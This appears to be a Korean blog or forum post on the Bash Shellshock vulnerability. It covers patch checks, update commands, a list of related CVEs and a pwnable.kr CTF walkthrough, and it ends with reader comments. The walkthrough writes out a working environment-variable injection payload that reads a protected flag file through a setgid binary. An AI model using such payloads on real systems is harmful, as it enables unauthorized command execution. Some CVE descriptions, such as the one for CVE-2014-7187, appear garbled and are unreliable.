Exploited Test ===================================
출력을 분석하자면... 취약한 경우엔 위의 출력결과가 **Exploited**가 포함되면, 해당 Bash가 취약한 것이다.
패치된 경우엔 패치된 Bash는 함수 정의 이후의 명령어를 실행하지 않으며 아래와 같이 경고 메시지를 출력한다.
=================================== bash: warning: MYFUNC: ignoring function definition attempt bash: error importing function definition for `MYFUNC' ===================================
대응 방법은 Bash를 최신으로 업데이트를 하는 것이다.
sudo apt update && sudo apt upgrade # Debian/Ubuntu 계열 sudo yum update # Red Hat 계열
또는 Bash대신 Dash, Zsh와 같은 쉘을 사용하면 된다.
내용을 요약하자면 Exploited가 출력되면 해당 Bash 버전은 Shellshock 취약점에 취약한 상태다. 즉시 패치를 적용하거나, 시스템 환경 설정을 점검해야 한다. 이 취약점은 악성 코드 실행(RCE)로 이어질 수 있어 심각한 보안 위협을 초래한다.
취약한 Bash 버전은 Bash 1.14~4.3까지의 버전이 Shellshock(CVE-2014-6271) 및 관련 취약점의 영향을 받는다. 아래는 각 버전과 주요 취약점 관련 정보다.
CVE-2014-6271 함수 정의 뒤에 있는 추가 명령 실행 가능 (Shellshock) Bash 1.14~4.3
CVE-2014-7169 CVE-2014-6271에 대한 불완전한 패치 우회 가능 Bash 1.14~4.3
CVE-2014-7186 Bash의 메모리 손상 취약점 Bash 1.14~4.3
CVE-2014-7187 Bash의 히스토리 파일 처리 과정에서 발생하는 문제 Bash 1.14~4.3
CVE-2014-6277 CVE-2014-6271과 관련된 명령어 삽입 취약점 Bash 1.14~4.3
CVE-2014-6278 함수 정의와 명령어 실행 문제와 관련된 추가 취약점 Bash 1.14~4.3
주요 Bash 버전과 취약점 상태
Bash 1.x ~ 2.x: Shellshock의 영향을 받음. 이 버전은 1990년대 초반 배포된 오래된 버전이다.
Bash 3.x: Shellshock의 영향을 받음. 많은 서버와 시스템에서 사용되었으며, 특히 레거시 시스템에서 여전히 사용 가능성이 높음.
Bash 4.x (최대 4.3): Shellshock의 영향을 받음. 최신 리눅스 배포판에서 기본으로 제공되던 버전.
Bash 4.3 이후: Shellshock과 관련된 모든 취약점에 대한 패치가 적용된 버전. 취약점이 해결됨.
취약점 해결된 버전
Shellshock 관련 취약점이 해결된 첫 번째 안정 버전은 Bash 4.3.27이다. 최신 버전(2024년 기준)은 Bash 5.x 이상으로, Shellshock에 안전하다.
다음 명령어로 현재 시스템의 Bash 버전을 확인할 수 있습니다:
bash --version GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu) 위 예에서는 Bash 4.3.11이므로 Shellshock에 취약하다.
Shellshock의 기본 이론과 요약은 여기까지 하고 pwnable.kr의 Shellshock 문제 공략을 올리면서 마무리를 하겠다.
$is-al total 980 drwxr-x--- 5 root shellshock 4096 Oct 23 2016 . drwxr-xr-x 116 root root 4096 Oct 30 2023 .. -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash d--------- 2 root root 4096 Oct 12 2014 .bash_history -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c shellshock@pwnable:~$ cat shellshock.c #include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
shellshock@pwnable:~$ export MYFUN='() { :; }; /bin/cat flag' shellshock@pwnable:~$ ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault (core dumped) shellshock@pwnable:~$
shellshock의 개론은 아래의 강좌에서 썼고... 요약하자면 4.3이하의 bash쉘을 실행하면 환경변수로 등록된 것들을 다 실행한다는 취약점이 있다. export MY... /bin/cat flag로 flag를 읽어들일 수 있다.
https://www.cve.org/CVERecord?id=CVE-2014-6271
중졸이라서 취업이 안 됩니다 ㅜㅜ
카카오 계정과 연동하여 게시글에 달린 댓글 알람, 소식등을 빠르게 받아보세요
댓글 11개
2025.11.03
그래서 위에 내용은 왜 쓴거임...? 글의 목적과 맞는 글을 적어야지 이렇게 적었다가는 왜 중졸인지 알겠다는 댓글만 얻을 수 있을듯
대댓글 3개
2025.11.03
취약점 내용도 gpt거 쓴거네
2025.11.03
남이 나를 알아주지 않아도 원망하지 않으면 또한 군자답지 아니한가 ㅋㅋ
2025.11.03
알아주지 않는게 아니라 님이 글을 쓰는데 익숙하지 않아서 알아보자 못 하는겁니다 있어보이는 척 하지 말고 글의 목적이 뭔데요
2025.11.03
대댓글 3개
2025.11.03
2025.11.03
2025.11.03
2025.11.03
대댓글 2개
2025.11.03
2025.11.03
2025.11.03
대댓글 1개
2025.11.03
2025.11.03
대댓글 1개
2025.11.03